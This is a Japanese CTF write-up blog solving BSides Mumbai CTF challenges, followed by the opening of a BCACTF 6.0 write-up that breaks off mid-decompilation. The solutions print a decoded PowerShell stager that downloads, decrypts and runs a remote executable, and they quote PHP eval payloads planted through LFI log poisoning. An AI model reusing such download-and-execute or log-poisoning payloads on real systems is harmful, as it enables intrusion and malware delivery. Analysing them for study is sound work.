あまりにも関数が多いので、angrに解かせる。

#!/usr/bin/env python3
import angr
import claripy

flag_len = 18

flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(flag_len)]
flag = claripy.Concat(*flag_chars)

flag_with_newline = claripy.Concat(flag, claripy.BVV(b"\n"))

project = angr.Project("./Diff_EQ", auto_load_libs=False)

state = project.factory.full_init_state(
    args=["./Diff_EQ"],
    stdin=flag_with_newline
)

for c in flag_chars:
    state.solver.add(c >= 0x20)
    state.solver.add(c <= 0x7e)

simgr = project.factory.simgr(state)

def is_successful(s):
    return b"Correct flag!" in s.posix.dumps(1)

def should_abort(s):
    out = s.posix.dumps(1)
    return b"Wrong flag!" in out or b"Invalid format!" in out

simgr.explore(find=is_successful, avoid=should_abort)

if simgr.found:
    found = simgr.found[0]
    flag_solution = found.solver.eval(flag, cast_to=bytes)
    print(f"[+] Found flag: {flag_solution.decode()}")
else:
    print("[-] No valid flag found.")

実行結果は以下の通り。

WARNING  | 2025-06-29 10:05:31,513 | angr.simos.simos | stdin is constrained to 19 bytes (has_end=True). If you are only providing the first 19 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).                                                                                                                                                           
WARNING  | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING  | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING  | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 1 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))                                                                                                                                                                                                            
WARNING  | 2025-06-29 10:05:32,807 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff71 with 6 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))                                                                                                                                                                                                           
WARNING  | 2025-06-29 10:05:32,966 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec0 with 8 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))                                                                                                                                                                                                           
[+] Found flag: BMCTF{M$K3S_S3N5E}
BMCTF{M$K3S_S3N5E}

Tick-Tock (Web)

アクセスすると、クッキーのsessionに以下が設定されていた。

eyJzZWNyZXQiOiJycHVjYW4ifQ.aGEFPQ.MNnhD0YDNW0pOnfRCikPCF8nl9E

ヘッダ部をデコードする。

$ echo eyJzZWNyZXQiOiJycHVjYW4ifQ | base64 -d                                                  
{"secret":"rpucan"}

クエリとして"rpucan"を入力して、Searchボタンを押すと、フラグが表示された。

BMCTF{v3ry_very_v3ry_v3ry_very_v3ry_long_flag!}

Operation Overflow (Web)

1~100,000の値を送信し、正しい値の場合、フラグが表示されるようだ。
デベロッパーツールで確認すると、以下のような通信が発生している。

リクエストURL: https://abfb9883.bsidesmumbai.in/graphql
Content-Type: application/json
ペイロード: {"query":"\n                query {\n                    guessNumber(number: 1) {\n                        correct\n                        message\n                        flag\n                    }\n                }\n            "}

プログラムでnumber総当たりしてみる。

#!/usr/bin/env python3
import requests
import json

url = 'https://abfb9883.bsidesmumbai.in/graphql'

#for num in range(1, 100001):
for num in range(31183, 100001):
    query = "\n                query {\n                    guessNumber(number: %d) {\n                        correct\n                        message\n                        flag\n                    }\n                }\n            " % num
    payload = {"query": query}
    payload = json.dumps(payload)
    headers = {"Content-Type": "application/json"}
    r = requests.post(url, data=payload, headers=headers)
    assert r.status_code == 200
    res = json.loads(r.text)
    if res['data']['guessNumber']['correct']:
        flag = res['data']['guessNumber']['flag']
        print(flag)
        break
BMCTF{4l14s_br34k_l1m1ts}

Author Ki PFP (Forensics)

IHDRチャンクのCRCがおかしい。画像の高さが間違っていると推測できるので、CRCが合うよう高さを変更する。

#!/usr/bin/env python3
import struct
import binascii

with open('Challenge.png', 'rb') as f:
    data = f.read()

head = data[:12]
tail = data[29:]

for h in range(1104, 1500):
    height = struct.pack('>I', h)
    ihdr = data[12:20] + height + data[24:29]
    crc = struct.pack('!I', binascii.crc32(ihdr))
    if crc == data[29:33]:
        out = head + ihdr + tail
        with open('Challenge_fix.png', 'wb') as f:
            f.write(out)
        break

下の方にフラグが現れた。

BMCTF{H3X_IM4G3_R3S1Z1NG!}

Disk Message (Forensics)

添付のファイルには以下のように記載されている。

powershell -EncodedCommand <base64文字列>

base64文字列をデコードする。

$ echo JABlAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRAHkATwBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAMQBjAEcAUgBoAGQARwBVAHUAWgBXADUAagAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAGQAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAG0AZQBzAHMAYQBnAGUALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIAeQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAG0AZQBzAHMAYQBnAGUALgBlAHgAZQA= | base64 -d   
$e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j')));$ed=[System.Convert]::FromBase64String($e);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;.\message.exe

PowerShellのコードを読みやすいよう整形する。

$e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j')));
$ed=[System.Convert]::FromBase64String($e);
$maes=new-object "System.Security.Cryptography.AesManaged";
$maes.IV=$ed[0..15];
$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$maes.KeySize=256;
$maes.BlockSize=128;
$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));
$dc=$maes.CreateDecryptor();
$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);
Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;
.\message.exe

最初の行のbase64文字列をデコードする。

$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j | base64 -d
https://gitlab.com/-/snippets/4867428/raw/main/update.enc

このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。

$ wget https://gitlab.com/-/snippets/4867428/raw/main/update.enc       
--2025-06-28 21:30:26--  https://gitlab.com/-/snippets/4867428/raw/main/update.enc
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9
Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 192332 (188K) [text/plain]
Saving to: ‘update.enc’

update.enc                                           100%[=====================================================================================================================>] 187.82K  --.-KB/s    in 0.04s   

2025-06-28 21:30:26 (4.33 MB/s) - ‘update.enc’ saved [192332/192332]

update.encをbase64デコードすると、PEファイルになるので、message.exeとして保存し、実行する。

#!/usr/bin/env python3
from base64 import *

with open('update.enc', 'r') as f:
    pe = b64decode(f.read())

with open('message.exe', 'wb') as f:
    f.write(pe)
>message
BMCTF{n0t_3very0n3s_cup_of_t34}
BMCTF{n0t_3very0n3s_cup_of_t34}

Logarithms (Forensics)

添付のApacheaccess.logに気になるアクセスがある。

$ cat access.log | grep rot13             
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/xrl', onfr64_qrpbqr('diNbkitqV5riXS69fTlyAj=='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s5', onfr64_qrpbqr('dBYtUX9UAlV='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s3', onfr64_qrpbqr('b5evSgbsaWx='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("$xrl = svyr_trg_pbagragf('/gzc/xrl');$qngn = '';sbe ($v = 0; $v < 6; $v++) {  $qngn .= svyr_trg_pbagragf('/gzc/s'.$v);}$qrp = bcraffy_qrpelcg($qngn, 'nrf-128-rpo', $xrl, BCRAFFY_ENJ_QNGN);rpub 'SYNT: '.$qrp;")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s0', onfr64_qrpbqr('dhhfp88dfgL='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s2', onfr64_qrpbqr('bi3wo2dGq8H='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s4', onfr64_qrpbqr('+Sfbx/gllSD='));")); ?>"
133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s1', onfr64_qrpbqr('Ys4tW4mWgOf='));")); ?>"

それぞれrot13になっている部分を復号する。

file_put_contents('/tmp/key', base64_decode('qvAoxvgdI5evKF69sGylNw=='));
file_put_contents('/tmp/f5', base64_decode('qOLgHK9HNyI='));
file_put_contents('/tmp/f3', base64_decode('o5riFtofnJk='));
$key = file_get_contents('/tmp/key');$data = '';for ($i = 0; $i < 6; $i++) {  $data .= file_get_contents('/tmp/f'.$i);}$dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);echo 'FLAG: '.$dec;
file_put_contents('/tmp/f0', base64_decode('quusc88qstY='));
file_put_contents('/tmp/f2', base64_decode('ov3jb2qTd8U='));
file_put_contents('/tmp/f4', base64_decode('+Fsok/tyyFQ='));
file_put_contents('/tmp/f1', base64_decode('Lf4gJ4zJtBs='));

4行目の処理を行うようPHPスクリプトを作成し、実行する。

$ cat solve.php              
<?php
$key = base64_decode('qvAoxvgdI5evKF69sGylNw==');
$data = '';
$data .= base64_decode('quusc88qstY=');
$data .= base64_decode('Lf4gJ4zJtBs=');
$data .= base64_decode('ov3jb2qTd8U=');
$data .= base64_decode('o5riFtofnJk=');
$data .= base64_decode('+Fsok/tyyFQ=');
$data .= base64_decode('qOLgHK9HNyI=');
$dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);
echo 'FLAG: '.$dec;
?>
$ php solve.php
FLAG: BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}
BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}

Disk Message 2 (Forensics)

Disk Messageと同様の問題になっている。base64文字列をデコードする。

$ echo JABtAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRADUATgBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAawBhAFgATgByAEwAbQBWAHUAWQB3AD0APQAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABtACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAGQAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAGQAaQBzAGsALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIAeQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAGQAaQBzAGsALgBlAHgAZQA= | base64 -d                
$m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw==')));$ed=[System.Convert]::FromBase64String($m);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline;.\disk.exe

PowerShellのコードを読みやすいよう整形する。

$m=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw==')));
$ed=[System.Convert]::FromBase64String($m);
$maes=new-object "System.Security.Cryptography.AesManaged";
$maes.IV=$ed[0..15];
$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$maes.KeySize=256;
$maes.BlockSize=128;
$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));
$dc=$maes.CreateDecryptor();
$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);
Set-Content -Path "disk.exe" -Value $dm -AsByteStream -NoNewline;
.\disk.exe

最初の行のbase64文字列をデコードする。

$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQ5NC9yYXcvbWFpbi9kaXNrLmVuYw== | base64 -d
https://gitlab.com/-/snippets/4867494/raw/main/disk.enc

このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。

$ wget https://gitlab.com/-/snippets/4867494/raw/main/disk.enc  
--2025-06-29 10:56:27--  https://gitlab.com/-/snippets/4867494/raw/main/disk.enc
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9
Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 192365 (188K) [text/plain]
Saving to: ‘disk.enc’

disk.enc                                             100%[=====================================================================================================================>] 187.86K  --.-KB/s    in 0.06s   

2025-06-29 10:56:28 (2.84 MB/s) - ‘disk.enc’ saved [192365/192365]

disk.encをbase64デコードすると、AESの暗号データになっていることがわかる。keyはボリューム番号のsha256ダイジェストで不明なため、ブルートフォースでMZから始まるものを探す。
あまりにも時間がかかりそうなので、Hint (Cost: 0 points)を開けると以下のように書いてある。

AXXX-BXXX

これで範囲を狭めることができる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import *
from hashlib import *
from struct import *

with open('disk.enc', 'r') as f:
    enc = b64decode(f.read())

iv = enc[:16]
ct = enc[16:]

for k in range(2**24):
    h = hex(k)[2:].zfill(6).upper()
    vol = 'A%s-B%s' % (h[:3], h[3:])
    key = sha256(vol.encode()).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = cipher.decrypt(ct)
    offset = unpack('<I', pt[0x3c:0x40])[0]
    if pt[:2] == b'MZ' and pt[offset:offset+4] == b'PE\x00\x00':
        print('[+] Volume Number:', vol)
        pt = unpad(pt, 16)
        with open('disk.exe', 'wb') as f:
            f.write(pt)
        break

実行結果は以下の通り。

[+] Volume Number: AC91-B008

復元したdisk.exeを実行する。

>disk.exe
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}
BMCTF{that_w4s_n0t_supp0s3d_t0_h4pp3n}

Too Small I Guess (Crypto)

RSA暗号。factordbでNを素因数分解する。

N = 228337825920501024345892620188308555741 * 249647001095058483196231850349361480039

あとは通常通り復号する。

#!/usr/bin/e nv python3
from Crypto.Util.number import *

with open('values.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
c = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])

p = 228337825920501024345892620188308555741
q = 249647001095058483196231850349361480039
assert p * q == N

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BMCTF{S1z3_Matt3r5}

Trixie Prixie (Crypto)

暗号化処理の概要は以下の通り。

・key = generate_valid_matrix()
 ・以下繰り返し
  ・mat: 0以上256以下のランダム整数からなる4×4の行列
  ・modを256として、matが逆行列を持ち、matを反時計回りに90度回転した行列が逆行列を持つ場合、matを返却
・fake_key: keyを反時計回りに90度回転した行列
・cipher = encrypt_message(flag, key)
 ・message_bytes: flagの各文字のASCIIコードの配列
 ・message_bytesの長さが4で割り切れるまで0を追加
 ・encrypted = []
 ・message_bytesを4バイトごとにblockにして以下を実行
  ・block: blockの各文字のASCIIコードの配列
  ・enc_block = key * block % 256
  ・encryptedにenc_blockを追加
 ・encryptedをバイト文字列化して返却
・cipher_b64: cipherをbase64エンコードしたもの
・cipher_b64をcipher.txtに書き込み
・fake_keyをkey.npyに書き込み

keyはfake_keyを270度回転すればよい。

平文の配列をP、暗号化した配列をCとすれば、以下のようになる。

key * P = C
P = inverse(key) * C

このことを使って逆算すれば、フラグがわかる。

#!/usr/bin/env python3
import numpy as np
import base64
import sympy

def inverse_matrix(matrix, mod):
    sym_mat = sympy.Matrix(matrix.tolist())
    return np.array(sym_mat.inv_mod(mod))

def decrypt_message(cipher, inverse_key, block_size=4):
    cipher_bytes = list(cipher)
    decrypted = []
    for i in range(0, len(cipher_bytes), block_size):
        block = np.array(cipher_bytes[i:i+block_size])
        dec_block = inverse_key @ block % 256
        decrypted.extend(dec_block)
    while True:
        if decrypted[-1] == 0:
            decrypted = decrypted[:-1]
        else:
            break
    return bytes(decrypted)

fake_key = np.load('key.npy')
key = np.rot90(fake_key, k=-1)
inverse_key = inverse_matrix(key, 256)

with open('cipher.txt', 'r') as f:
    cipher_b64 = f.read()

cipher = base64.b64decode(cipher_b64)
flag = decrypt_message(cipher, inverse_key).decode()
print(flag)
BMCTF{Matrixie_crypt10n}

BCACTF 6.0 Writeup

この大会は2025/6/21 10:30(JST)~2025/6/24 10:30(JST)に開催されました。
今回もチームで参戦。結果は2425点で276チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc 0)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

bcactf{w3lc0m3_t0_bc4ctf_6.0_df0b72a8b5e2}

dessert_time (misc 25)

Excelとしてダウンロードし、背景を黒くすると、ところどころ文字が浮かび上がり、上から順に並べると、フラグになった。


bcactf{Apple_pieS_Are_yuMMy}

expletive (misc 25)

英数字以外で、37文字以上指定すれば、フラグが表示される。

$ nc challs.bcactf.com 38421
> _____________________________________
bcactf{fudG3_5hOo7_d4rn100}
bcactf{fudG3_5hOo7_d4rn100}

Molasses (misc 25)

GIFアニメーションになっているので、Giamでコマごとに分割する。各コマに書かれている文字を連結する。

bcactf{is_it_gif_or_gif_a51fd7ace416}

Annoying (misc 50)

何重にもzip圧縮されているので、スクリプトで解凍する。

#!/usr/bin/env python3
import shutil
import os
import zipfile

original_fname = 'DLXENH.zip'
fname = 'START.zip'
shutil.copyfile(original_fname, fname)

while True:
    try:
        with zipfile.ZipFile(fname) as zf:
            files = zf.namelist()
            zf.extractall(path='.')

        os.remove(fname)
        fname = files[0]
    except:
        break

解凍をし終わると、flag.txtが展開されていて、フラグが書いてあった。

bcactf{w3ll_th4t_w4s_4nn0y1ng_fca743ef043c1d8}

Japanese Lyrics OSINT (osint 100)

ChatGPTに聞いた見たら、YOASOBIの楽曲「怪物(かいぶつ)」の英訳されたものらしいことがわかる。英語版wikiではKaibutsuとなっている、

bcactf{Kaibutsu}

ShallowSeek (binex 25)

64バイト入力すれば、フラグも連結して表示される。

$ nc challs.bcactf.com 44123
Welcome to ShallowSeek!
ShallowSeek is a new, hyperadvanced AI that can answer any of your questions (that comply with government rules)! Ask away!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Sorry, but "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcactf{s0rRy_1_cAn7_741K_4B0U7_7ha7_R16h7_N0w_GfhNkl0iP2BK}" is beyond my current scope. Let's talk about something else.
bcactf{s0rRy_1_cAn7_741K_4B0U7_7ha7_R16h7_N0w_GfhNkl0iP2BK}

Printer (binex 75)

$ file printer
printer: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

Decompiler Explorer(https://dogbolt.org/)でデコンパイルする。angrでは以下のようになっている。

extern char flag;

void _start()
{
    unsigned int v0;  // [bp-0x4]
    char *v2;  // esi
    unsigned int v3;  // ecx
    unsigned int v4;  // ecx
    char v5;  // al
    char v6;  // al
    unsigned int v8;  // esi

    v0 = _start;
    v2 = "00000000";
    v3 = 8;
    do
    {
        v4 = v3;
        v6 = (char)(__ROL__(v0, 4)) & 15;
